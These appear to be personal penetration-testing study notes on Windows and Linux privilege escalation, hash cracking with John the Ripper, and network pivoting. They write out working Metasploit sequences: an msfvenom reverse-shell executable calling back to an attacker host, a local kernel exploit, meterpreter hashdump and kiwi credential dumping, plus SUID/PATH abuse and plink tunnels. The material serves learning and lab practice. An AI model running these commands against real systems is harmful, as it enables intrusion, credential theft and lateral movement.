Privilege Escalation.

Basics⌗

On Windows, SYSTEM is the highest privilege possible. Local Administrators can effectively get SYSTEM privileges.

On Linux, root (uid=0) is the highest privilege possible. Regular users can escalate to root privileges on demand (i.e. sudo).

Techniques⌗

  • Kernel exploits - leverage a flaw in the OS. Vunerabilty is determined by researching kernel version, patch levels. Tend to be patched quickly.
  • High privileged programs - get a program running at a higher privilege to execute your code. Often things are unnessarily run with high privileges for convenience sake. For example, JBoss running on TomCat, running as root. Deploy a WAR to JBoss with an embedded reverse shell.
  • Credential theft - leverage techniques to compromise a user with higher privileges. The primary method of lateral movement within organisations. Dumping of hashes, such as responder, SCF files on writab shares, UNC requests (when a user attempts to \\server an auth request is sent and can be captured), network sniffing. Password reuse. SCF to steal credentials.
  • Insecure configurations - abuse incorrectly services or programs. Service paths with whitespace is a great example e.g. C:\anti-virus\virus definition\bin\update.exe, Windows path probing will attempt to find and run C:\anti-virus\virus.exe.

On Linux in the /etc/shadow file, the prefix e.g. $6 indicates the hash function and salt, for example, this entry:

bob:$6$8XDGak85XFIUrEbc$S.kuUwl5FFqSKykM0KwSUTVhbNGuq0DJmd2vWE6PC7y3U.5Npr4iC9qlO.6SvMxlRUSfU7pZ01LHtV1xyroYq.::0:99999:7:::
    ^ ^
    | salt
    hash

For more checkout Understanding and generating the hash stored in /etc/shadow

Passwords are salted and hashed, so that even if users have the same password, a different hash is stored. A user is randomly assigned a salt (e.g. a sequence of bytes). The salt is generally prepended or appended to password

TODO: Rainbow tables.

Some popular hash brute forcing utilities; hashcat johntheripper. Checkout the hashcat attack modes for example; which can do straight, combination, brute force, hybrid wordlist with mask.

Hash primer:

  • One way
  • Collision resilient

LLMNR Local Link Multi Node Resolver. In a nutshell, a user types sharepoint.local. First a DNS request to answer whats the IP, and sends you to that location. If an incorrect URI is typed (fat fingers), the fallback protocols of LLMNR (Responder) kick it, which freely transmit the users hash.

setuid is another escalation avenue:

cp /usr/bin/id ~/fooid
chown king-phisher: ~/fooid
chmod +s ~/fooid
./fooid

Take note of the euid in the output, the effective user.

Attacking Hashes⌗

Exercise Hashing⌗

  • Hook up a bind or reverse shell to the desired target machine. Ensure payloads line up on both ends (unstaged/staged, meterpreter), and for the target platform (e.g. windows).

Tip: if using the PHP meterpreter shell, you will need to scale up to the native windows/linux shell whcih is more comprehesive. MSFVenom to spit out a native windows reverse shell.

meterpreter> lpwd
meterpreter> lcd /root
meterpreter> upload shell.exe   #puts a file on the host
meterpreter> background   # this is how to background an active session
msf exploit(handler)> sessions   # lists active sessions
msf exploit(handler)> execute -f shell.exe
meterpreter> sessions 1
meterpreter> sysinfo
meterpreter> ps
meterpreter> migrate 2616    # to migrate rshell into pid 2616
meterpreter> hashdump
meterpreter> getsystem   # elevate to SYSTEM, needed for kiwi extensions
meterpreter> load kiwi    # load the kiwi extension
meterpreter> creds_all    # will dump out hashes, and in memory passwords
meterpreter> help    # will now show kiwi help

Metasploit Console job management tips:

  • To list active jobs, use the jobs command
  • To kill all jobs jobs -k
  • To list sessions sessions
  • To connect to a specific session sessions 1

Once you obtain the hashes, you can do some offline analysis. For example, john (John the Ripper) is a popular password cracking tool. It can take in a simple colon user:hash delimited list. Tip: the Vim visual block editing mode (^v) is brilliant for this. Note that creds_all provides 3 types of hashes, LM, NTLM and SHA1. Choose which has you want to target (e.g. LM):

john --test    # test john is working
john target-hashes.txt    # feed john a user:hash list

For a decent wordlist, checkout /usr/share/wordlists/rockyou.txt (a 300MB chunk of common password, pulled out of a case study from the infamous rockyou forum cyber incident). Feed them into John:

john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt

John will occassionally recognise hashes as the wrong type (e.g. raw MD5, LM DES, etc). John supports lots of formats, and formats can (should) be specified explicitly with the --format switch. To work on SHA1 hashes for example:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=lm --rules hashes-lm.txt

To show results:

john --show hashes-lm.txt
Administrator:VOLCANO
FOOBAR$:

Random Tips⌗

OJ Reevs - maintains meterpreter - lives in QLD. Steven Vewer - executable reflection - technique how the migrate functionality works.

End to End SMB ExternalBlue Vunerability Walk Through⌗

Spin up a handler:

msfconsole
msf > use exploit/multi/handler
msf > set payload windows/shell/reverse_tcp
msf > set LHOST 192.168.0.99   # the kali host

You can slowly elevate priviliges.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.99 LPORT=4444 -f exe -o malicious.exe

Get this onto your Windows target somehow, and running. It will call back onto the listener:

msf exploit > set exploit/windows/local/ms13_053_schlamperei
msf exploit(ms13_053_schlamperei) > options
msf exploit(ms13_053_schlamperei) > set SESSION 1   # this is the previously established low priv meterpreter session id
msf exploit(ms13_053_schlamperei) > set payload windows/x64/meterpreter_reverse_tcp
msf exploit(ms13_053_schlamperei) > SET LHOST 192.168.0.99   # kali box
msf exploit(ms13_053_schlamperei) > run

Tip: When looking for local windows exploits, those prefixed with MS are often very reliable, due to them being kernel related vunerabilties.

Tip 2: searchsploit is awesome

Pivoting⌗

Useful for using a middle box, which can then in turn be used to leap frog to other parts of the network.

[Attacker]  -->   [User Destop]    -->    [   DC   ]

Metasploit⌗

portfwd⌗

On an active meterpreter session, you have the awesome portfwd command. Hit help for more portfwd help.

route⌗

In meterpreter, you can setup an internal route table, via a specific meterpreter session, e.g:

route 192.168.1.1 255.255.255.0 1

SSH Tunnels⌗

  • Remote, Local and Dynamic port forwarding enables lateral movement. The decision between remote and local, comes down to where you need the port.
    • Remote - listen on the server - traffic from initiator perspective
    • Local - listen on the initiator - traffic from server perspective
  • plink is a great binary for doing SSH’ing client on windows

A rmeote port forwarding example. To use plink and setup a tunnel on the middle (user desktop) box, you could run the following:

ssh <ssh server> -R [SSH server IP to Bind To]:[SSH Server Port to Bind To]:[Target Destination]:[Target Port]

plink.exe attacker@red -R 127.0.0.1:4444:blue:3389

A local port forwarding example;

ssh <ssh server> -L [IP Address of Initiating Machine]:[Bind Port of Initiating Machine]:[IP Address of Target Machine]:[Target Machine Port]

plink.exe attacker@red -L black:4444:127.0.0.1:5555

Proxytunnels⌗

TODO

Linux Tips for Escalation⌗

SUID binaries are a great low hanging fruit.

An example of a SUID binary that ran id without a fully qualified path. Take advantage of this, by modifying the PATH to include, say your HOME dir, create a small bash script called id, give it execute. Now it will run with root privs.

The find command interesting runs as a suid binary, with root privs. Can take advantage of the -exec switch which will run arbitary commands.

Kernel exploits are another.

Linux exploit 43418

TODO: find switches to search for files with suid permission bit.

TODO: Setup SSH tunnel, for proxying between.

TODO: Play with SUID elevated privs. Compile exploit with GCC, make sure spits an ELF binary out.